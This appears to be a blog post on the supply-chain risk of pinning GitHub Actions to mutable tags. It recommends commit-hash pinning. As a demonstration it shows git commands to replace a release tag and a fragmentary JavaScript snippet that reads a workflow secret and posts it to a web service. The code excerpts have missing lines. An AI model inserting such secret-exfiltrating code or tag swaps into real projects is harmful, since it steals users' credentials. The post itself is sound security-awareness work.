TL;DR: Using GitHub actions with branch names or tags is unsafe. Use commit hash instead.

It all started with a tweet that I made mid december:

I had a hunch that using Github actions found at the marketplace could leak sensitive data such as access tokens.

The problem

A lot of trending actions found at the marketplace are using secrets to perform their tasks.

For instance to build and publish docker images to a registry you could use elgohr/Publish-Docker-Github-Action action. It is the most popular action to perform this task and it is not made nor maintained by GitHub.

If you read its docs you can see that it requires the username and password of your docker registry.

- name: Publish to Registry
  uses: elgohr/Publish-Docker-Github-Action@master
    name: myDocker/repository
    username: ${{ secrets.DOCKER_USERNAME }}
    password: ${{ secrets.DOCKER_PASSWORD }}

How many of us will go to that action code and read the code to see if something malicious happens there ? I guess no one. We are forced to trust the author, so be it.

Imagine that this action in a couple of years is used by thousands workflows accross GitHub.

What would happen if the author that we trust, decides to let someone else support this code (we see that often in the Open Source industry) ?

Any maintainer can update a branch or a tag

That’s the problem right there!

To demontrate the problem I created an action: shprink/nonharmful-and-must-have-actions. This action looks legit and the name seems trustworthy.

To use it you’ll need to pass a secret:

- uses: shprink/nonharmful-and-must-have-actions@v1
    my-secret: ${{ secrets.YOUR_SECRET }}

the code (see below) does not really do anything, it gets the secret and do something legit with (publish a docker images, an npm package etc.)

try {
  const mySecret = core.getInput("my-secret");
} catch (error) {
v1 result

This action is tagged v1. Unfortunetly a tag can be replaced with Git.

To do so you will first need to delete it locally and remotly with those commands:

$ git tag -d v1
$ git push --delete origin v1

Now we can add malicious code such as sending the secret to a web service:

try {
  const mySecret = core.getInput("my-secret");
      json: {
        title: "store my stolen secret somewhere",
        body: mySecret,
        userId: 1
      headers: { "Content-type": "application/json; charset=UTF-8" }
    (error, res, body) => {
      if (error) {
      console.log(`SUCCESSFULLY STORE SOMEONE SECRET`, res.statusCode, body);
} catch (error) {

when users of your action will re-run their workflow they will now use the “new” v1 and therefore leak their precious secrets.

v1 result
cheers meme

Solution: Use commit hash as version

As @AlainHelaili from GitHub mentioned on twitter, instead of checking out a branch or a tag (both are not safe), you could checkout the commit hash:

Each hash is supposed to be unique and you cannot rewrite history with the exact same SHA-1.

That’s a good solution but I don’t see that encouraged in any documentation out there (many I am wrong). All the docs I see use either branches or tags…

smart meme

Learn from history

Some time ago NPM had the exact same problem with left-pad package that was unpublished and broke the internet 😅.

Short after that they decided to change their Unpublish Policy.

Basically after 24 hours you cannot unpublish a version anymore, and there is no way to replace a tag that was used before.

I think GitHub should follow the same path and prevent anyone from unpublishing and replacing any version tagged.